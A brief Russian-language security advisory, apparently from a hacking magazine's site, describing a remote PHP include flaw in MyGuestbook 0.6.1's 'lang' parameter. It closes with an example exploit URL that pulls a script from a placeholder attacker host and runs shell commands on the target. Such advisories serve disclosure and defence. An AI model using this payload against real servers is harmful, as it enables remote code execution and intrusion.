PHP инклюдинг в Mark Kronsbein`s MyGuestbook

Рекомендуем почитать:

Хакер #311. Сетевые протоколы под микроскопом

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Mark Kronsbein's MyGuestbook 0.6.1

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе с привилегиями
web сервера. Уязвимость существует из-за
недостаточной обработки входных данных в
параметре lang сценария 'form.inc.php3'. Удаленный
пользователь может с помощью специально
сформированного URL выполнить произвольный
PHP сценарий на целевой системе с
привилегиями web севера.

Пример:

http://[target]/gb/form.inc.php3?lang= http://[attacker]/cmd.gif?&cmd=id;uname%20-a;uptime